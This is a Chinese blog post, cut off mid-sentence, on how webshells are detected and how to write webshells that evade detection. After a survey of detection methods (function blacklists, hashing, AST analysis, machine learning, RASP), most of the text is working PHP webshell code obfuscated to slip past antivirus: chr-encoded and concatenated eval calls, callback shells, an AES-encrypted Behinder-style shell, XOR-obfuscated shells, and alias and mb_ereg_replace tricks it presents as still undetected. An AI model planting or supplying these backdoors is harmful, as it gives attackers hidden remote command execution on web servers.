最近看了很多关于webshell的文章，真的是觉得受益匪浅。于是产生想写一篇属于自己文章的想法，本文很多地方加入了自己的思考，并且干货满满。希望大家可以关注我的专栏。

既然我们要研究一下子webshell免杀。

首先应该思考的问题是检测引擎是如何查杀我们的webshell。

webshell是如何被检测出来的？

正所谓，知己知彼百战百胜。要想写一个免杀的webshell出来，你就必须知道你的webshell是如何被查杀掉的？

基于流量和字符特征的检测

既然是字符特征，首先就是对于一些危险函数的检测

system : system()函数将命令作为参数，并输出结果。

exec : exec()功能是将命令作为参数，但不输出结果。如果指定了第二个可选参数，则返回结果为数组。否则，如果回显，只显示结果的最后一行。

shell_exec : shell_exec()函数类似于exec()，但是，其整个输出结果为字符串。

passthru : passthru()执行一个命令并返回原始格式的输出。

proc_open : proc_open()函数可能很难理解。简单地说，我们可以使用proc_open()，创建一个处理程序（流程），实现脚本和要运行的程序之间的通信。

倒引号 ： 很多PHP开发人员并没有意识到这一点，但是PHP会首先执行shell命令中倒引号（`）内的内容。请注意，倒引号（`）和单引号（’）不同。

popen ，curl_exec，curl_multi_exec，parse_ini_file，show_source等。

在返回包中检测特殊字符

root或者是其他一些敏感字符串passwd等等

基于文件特征

主要基于HASH的匹配，取决于样本的捕捉能力及形成特征列表的数量，还是会出现漏报问题。

这里会对上传上来的文件进行分片处理，之后会对每一个片段进行hash计算，在得到所有片段的hash值后会和之前有的特征列表库进行对比。如果符合某个相似度的要求就认为该文件为webshell。

基于AST语义分析

为了弥补统计特征的不足，进一步深化，进行语法检测，关注于每个函数和参数，这种方式精确，误报较少。但是对于PHP这种动态特性很多的语言，检测就比较吃力，AST是无法了解语义的。

其实这一部分有点类似于代码审计，核心问题就是找到那些可疑的函数。有经验的安全人员可能脑海里就有一个表，这个表里放满了各种函数，有点类似于黑名单。在找到函数调用的代码时，如果发现函数名在黑名单中，就认为这是一个“敏感”函数，再执行后续判断；如果函数名不在黑名单中，那么后续的判断也就不用继续了。但是这个名单必须得大而全，而且得考虑很多特殊情况。

动/静态符号执行

实际是就是去发现没有过滤或者过滤不完全的可控变量，一但存在用户可以控制的代码逻辑，那么危险系数就很高了。

机器学习

这个需要大量的webshell样本训练，目前来看效果可能还是不太好。而有些算法可解释性比较差，不利于运营。而且存在大量误报的可能。

终极检测引擎Rasp

在2014年的时候，Gartner引入了“Runtime application self-protection”一词，简称为RASP。它是一种新型应用安全保护技术，它将保护程序像疫苗一样注入到应用程序中，应用程序融为一体，能实时检测和阻断安全攻击，使应用程序具备自我保护能力，当应用程序遭受到实际攻击伤害，就可以自动对其进行防御，而不需要进行人工干预。

RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中，它拦截从应用程序到系统的所有调用，确保它们是安全的，并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计，因为RASP的检测和保护功能是在应用程序运行的系统上运行的。

这里我对以上几种方法总结为四个点：

1.分析统计内容：这里我们可以结合黑名单或者其他特征列表，例如代码片段的hash特征列表。之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。

2.语义分析：这里我们把代码转换成AST语法树，之后可以对一些函数进行调试追踪，那些混淆或者变形过的webshell基本都能被检测到。代码审计常常会使用这种方法。

3.机器学习：这种方法需要大量的样本数据，通过一些学习模型，总结归类webshell的特征库，最终去检测webshell。

4.动态监控：采用RASP方式，这里就是一但检测到有脚本运行起来了就去监控里边或者叫hook一些危险函数，一但存在调用过程将会立刻阻止。这种阻止效果是实时的，这种方法应该是效果最好的，但是成本也十分的高昂。

如何写一个免杀的webshell？

webshell的演变史

初代webshell

<?php echo shell_exec($_GET['cmd']);?>
<?php @eval($_POST['xssle']);?>

这种webshell基本是属于被秒杀的存在，可能你还没上传呢，自己就嘀咕了，这种肯定不行吧，还是算了不测这个了。

一代webshell

既然上边的webshell被检测到了，那我们变换一下形势可以，对关键函数进行拼接，旋转，加密解密的手法进行隐藏。

<?php 
$a = 'ev'."al";
@$a($_POST['xssle']);
?>

<?php 
$a = 'ass'.$_GET[i];
@$a($_POST['xssle']);
?>

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_(); 
?>

<?php
    $a=md5('a').'<br>';
    $poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
    $poc($_GET['a']);
?>

二代webshell

回调型webshell，这种webshell看上去像是没有什么危害的但是如果用户输入assert的话，就构成了webshell。

<?php
usort($_POST[1], $_POST[xssle]);
?>

冰蝎webshell

冰蝎的webshell的设置了加密秘钥，并且对shell的通信内容也进行了加密，关于冰蝎的加密流量其实我之前的文章中是有分析过的。

<?php
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>

webshell-venom

该类webshell主要是利用了异或操作，不过现在该webshell已经被d盾收录进去了。

<?php 
class  TIPD{ 
function AJZN(){
$upf='Q'^"\x30";
$imp='R'^"\x21";
$rec='u'^"\x6";
$yba='/'^"\x4a";
$ebi=':'^"\x48";
$pvu='D'^"\x30";
$VDMX=$upf.$imp.$rec.$yba.$ebi.$pvu;
return $VDMX;}function __destruct(){
$UNOF=$this->AJZN();
@$UNOF($this->FJ);}}
$tipd=new TIPD();
@$tipd->FJ=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

那么重头戏来了

依然可以免杀的webshell

免杀shell1

该免杀shell利用类中的静态函数，还用到了变量替换，这个例子在文章后半部分会详细讲。

<?php
class Test{
public static function a(){        
    $a = base64_decode/*/\*/($_POST/*\*/['a']);
        return $a;
        }
}
$func = 'a';
$classname = 'Test';
$a =$classname::$func();
eval/*\/*/($a);
?>

免杀shell2

php在5.3版本的时候就已经开始支持对于类的命名空间了，对于函数的命名空间是在5.6版本引入的。

所以在5.6之后我们可以使用use function  a as b来导入函数a。在功能上就相当于给函数a起了一个别名。

注意：经过我的测试use function \assert as test;这种形式的别名在类中和函数中是不生效的。

<?php
use function \assert as test;
test($_POST[2333]);
?>

免杀shell3

preg_replace的/e模式用来执行代码，想必大家已经很熟悉了。但是他的兄弟姐妹mb_ereg_replace、mb_eregi_replace大家可能不太熟悉，其实它两的用法和第一个基本一样，支持传入e模式的正则表达式，进而执行任意代码；php在7版本已经delete了preg_replace的/e模式。但是mb_ereg_replace在7.3以下版本依然可以使用。

<?php
mbereg_replace('.*', '\0', $_REQUEST[2333], 'mer');
?>

结合免杀shell2

&l